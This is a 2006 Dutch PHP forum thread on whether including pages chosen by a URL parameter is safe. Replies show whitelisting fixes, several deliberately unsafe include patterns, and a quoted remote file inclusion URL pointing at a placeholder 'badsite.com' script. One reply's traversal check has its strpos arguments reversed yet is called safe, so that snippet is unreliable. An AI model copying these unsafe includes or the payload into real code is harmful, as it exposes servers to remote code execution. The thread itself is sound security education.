[php]Mag dit?

[Alpha-sphere]

Ik ben sinds een jaar gebruik aan het maken van de volgende manier van includen zodat ik niet 30x dezelfde site layout heb staan in elke document.

Navi.php (deze wordt ge-include in index.php)
Hier staat de navi in met links die er zo uit zien

<a href="index.php?pagina=links">links</a>

Index.php
Zo vang ik het op

PHP:

<?php
    if ($pagina == "links") {
    include_once 'links.php';
    }

Dit vind ik zelf een hele handige manier maar een vriend vertelde me onlanks dat dit een niet zo veilige manier is en dat hackers hier gebruik van kunnen maken.
Mijn vraag is of hij gelijk heeft en wat dan wel een goede manier is?

Damn! nu al bijna 2 uur. Snel naar m'n werk

[CyBeR]

In dit geval is 't niet onveilig, nee. Het is onveilig als je zonder controles invoer van de gebruiker direct include. Maar jij gebruikt die invoer alleen om een keuze te maken.

[DizzyWeb]

Neuh, da's wel veilig.

Wat onveilig is, is dan dit doen:

PHP:

include_once($pagina . '.php');

[Snake]

Dit mag, omdat je niet kan aanpassen welke pagina wordt geincluded.

Het is erger als je dit deed:

PHP:

if (isset($_GET['pagina'])) {
include($_GET['pagina'].".php");
}

damn ik typ te traag

[ Voor 20% gewijzigd door Snake op 22-01-2006 13:53 . Reden: 2 slow ]

[Sv3n]

switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken

[AK47]

Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken

Of preg_match gebruiken

PHP:

if (preg_match ("/(links|rechts)/", $_GET["pagina"], $matches)) {
   include_once ($matches[0] . ".php");
}

Maar ok, dat is dan wel matchen, dus komt er in $_GET["pagina"] maar ergens 'rechts' of 'links' voor dan gaat 'ie dat includen

[ Voor 8% gewijzigd door AK47 op 22-01-2006 14:10 ]

[ACM]

Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken

Of spelen met array's:

PHP:

$validPages = array('links', '...');
if(in_array($page, $validPages))
  include($page . '.php');

// of
$pageIds = array('links' => 'links.php', '...');
if(isset($pageIds[$page]))
  include($pageIds[$page]);

Dat is nog iets handiger dan allemaal losse statements als je veel pagina's hebt om te includen. De 2e variant is vooral handig als je meerdere identifiers voor pagina's wilt of als er geen logische koppeling tussen zit.

[Sybr_E-N]

Sv3n schreef op zondag 22 januari 2006 @ 13:52:
switch gebruiken ipv. zoveel if statements is wat mooier, maar dit is verder wel veilig hoor, zolang je maar niet uitgaat van input van de gebruiker zonder iets te checken

Om het nog op enige manier generiek te houden kun je beter gebruik maken van in_array().

[Michali]

Dat gaat best hoor. Een hele veilige nette methode. Je moet alleen steeds if statements (of switch cases) toevoegen bij nieuwe pagina's. Wat je ook kunt doen is een array maken waarin alle toegestane pagina's zitten, dan controleren of de parameter er in voor komt, zo ja, de betreffende pagina includen. Iets als dit zou je dan kunnen krijgen:

PHP:

$pages = array('news', 'links', 'contact');
if ( in_array($_GET['page'], $pages) )
{
  include "./pages/" . $_GET['page'] . ".php";
}

// edit: spuit 11 met code hierboven

Dat is ook gewoon veilig. Je zou het nog dynamischer kunnen maken, door gewoon direct naar een bestand in een map te linken, zonder dat je daar een lijstje van bijhoudt. Dan moet je wel extra controles inbouwen:

PHP:

$page = $_GET['page'];
$invalidStrings = array("..", "/", "\\");
foreach ( $invalidStrings as $invalidString )
{
  if ( strpos($invalidString, $page) !== false ) die("Error: Invalid page identifier!");
}
$pagePath = "./pages/page." . $page . ".php";
if ( !file_exists($pagePath) ) die("Error: Page " . $page . " does not exist!");
include $pagePath;

Door te controleren op die $invalidChars kun je voorkomen dat men kan gaan navigeren in je directory structuur. Alleen bestanden in het mapje pages die beginnen met page. en eindigen met de extensie .php kunnen worden geinclude. Dat maakt het ook wel veilig.

[ Voor 37% gewijzigd door Michali op 22-01-2006 14:18 ]

[Skaah]

AK47 schreef op zondag 22 januari 2006 @ 14:10:
[...]
Of preg_match gebruiken

PHP:

if (preg_match ("/(links|rechts)/", $_GET["pagina"], $matches)) {
   include_once ($matches[0] . ".php");
}

Maar ok, dat is dan wel matchen, dus komt er in $_GET["pagina"] maar ergens 'rechts' of 'links' voor dan gaat 'ie dat includen

PHP:

if (preg_match ("/^(links|rechts)$/", $_GET["pagina"], $matches)) {

[Tjeemp]

in nieuwere versies van PHP werkt trouwens $pagina niet meer, je moet gebruik maken van de superglobals... dat maakt input sowieso al veiliger.

dus op deze manier $_GET['pagina'] zoals boven al staat.

voor de andere superglobals kun je even op www.php.net kijken

[Pingelmonster]

je kunt ook dit doen:

PHP:

<?php
   switch($pagina){
         case 'links': include 'links.php';
         break;
?>

Je kunt voor iedere case een andere pagina invoegen, het is de basis van een paginascriptje

[ Voor 54% gewijzigd door Pingelmonster op 22-01-2006 14:51 ]

[NMe]

Alpha-sphere schreef op zondag 22 januari 2006 @ 13:49:
Dit vind ik zelf een hele handige manier maar een vriend vertelde me onlanks dat dit een niet zo veilige manier is en dat hackers hier gebruik van kunnen maken.

Nou vraag ik me eigenlijk wel af wat die vriend van je hier dan zo onveilig aan vindt.

pingelmonster schreef op zondag 22 januari 2006 @ 14:49:
je kunt ook dit doen:

PHP:

//knip

Je kunt voor iedere case een andere pagina invoegen, het is de basis van een paginascriptje

Er wordt hierboven al uitgelegd dat dat redelijk omslachtig is voor zoiets simpels.

[ Voor 33% gewijzigd door NMe op 22-01-2006 14:53 ]

[AK47]

Skaah schreef op zondag 22 januari 2006 @ 14:28:
[...]

PHP:

if (preg_match ("/^(links|rechts)$/", $_GET["pagina"], $matches)) {

Dat kan natuurlijk ook

[FragFrog]

-NMe- schreef op zondag 22 januari 2006 @ 14:52:
[...]

Nou vraag ik me eigenlijk wel af wat die vriend van je hier dan zo onveilig aan vindt.

Stel hij heeft een admin pagina.

Stel in z'n .htaccess / httpd.conf staat netjes dat alles gerewrite wordt naar index.php

Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.

DAN kan een hacker door index.php?link=admin toch op z'n admin pagina komen!

okok, het is wat vergezocht, dat wel

[Alpha-sphere]

Thanks voor de input allemaal! Heb ik weer wat nieuws geleerd

[StevenK]

FragFrog schreef op zondag 22 januari 2006 @ 18:45:
[...]


Stel hij heeft een admin pagina.

Stel in z'n .htaccess / httpd.conf staat netjes dat alles gerewrite wordt naar index.php

Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.

DAN kan een hacker door index.php?link=admin toch op z'n admin pagina komen!

Daarom moet je ook in de admin pagina op zijn minst een HTTP_AUTH_USER check doen; als je iets achter een .htaccess hangt, moet je ook echt controleren of de user via de .htaccess binnen is gekomen en is het niet onverstandig er ook nog een tweede check te doen, met één of andere login.

[ Voor 12% gewijzigd door StevenK op 23-01-2006 10:21 ]

[Erkens]

FragFrog schreef op zondag 22 januari 2006 @ 18:45:
Stel hij denkt daardoor 'ha, niemand kan bij m'n admin pagina komen!' en zet er geen beveiliging op.

dat maakt deze code dan nog niet onveilig

[Alpha-sphere]

Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende

It gets worse then that...
index.php?page=http://badsite.com/somescript.txt

this will make it download and include the code!
So if somescript.txt has say
<?php
phpinfo();
?>

it will execute it on the server!!

[NMe]

Alpha-sphere schreef op maandag 23 januari 2006 @ 11:09:
Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende


[...]

Ja, heel leuk, maar dat kan met het stukje voorbeeldcode dat jij gaf dus nooit en te nimmer.

[Erkens]

Alpha-sphere schreef op maandag 23 januari 2006 @ 11:09:
Ik heb het even nagevraagd aan 'm en hij gaf me een link door met het volgende


[...]

ik zou zeggen tegen hem dat hij dat eens mag proberen dan
want die $_GET['page'] include je namelijk niet, je include (nav een if statement) een fixed file.